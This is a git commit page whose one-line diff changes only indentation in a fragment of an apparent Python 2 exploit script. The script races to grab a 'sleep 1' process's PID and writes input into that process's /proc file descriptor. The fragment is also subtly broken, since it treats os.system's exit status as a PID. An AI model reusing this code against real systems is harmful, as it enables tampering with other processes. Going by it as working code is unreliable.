Updated 08_08_2014
This commit is contained in:
parent
40b9adcb14
commit
8687f3ea70
1 changed files with 1 additions and 1 deletions
|
@ -14,7 +14,7 @@ while (i == 0):
|
||||||
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
|
pid = str(os.system("ps -efl | grep 'sleep 1' | grep -v grep | { read PID REST ; echo $PID; }"))
|
||||||
if (pid == 0): #need an active pid, race condition applies
|
if (pid == 0): #need an active pid, race condition applies
|
||||||
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
|
print "[+] Didnt grab PID, got: " + pid + " -- Retrying..."
|
||||||
return
|
return
|
||||||
else:
|
else:
|
||||||
print "[+] PID: " + pid
|
print "[+] PID: " + pid
|
||||||
loc = "echo n > /proc/" + pid + "/fd/1"
|
loc = "echo n > /proc/" + pid + "/fd/1"
|
||||||
|
|
Loading…
Add table
Reference in a new issue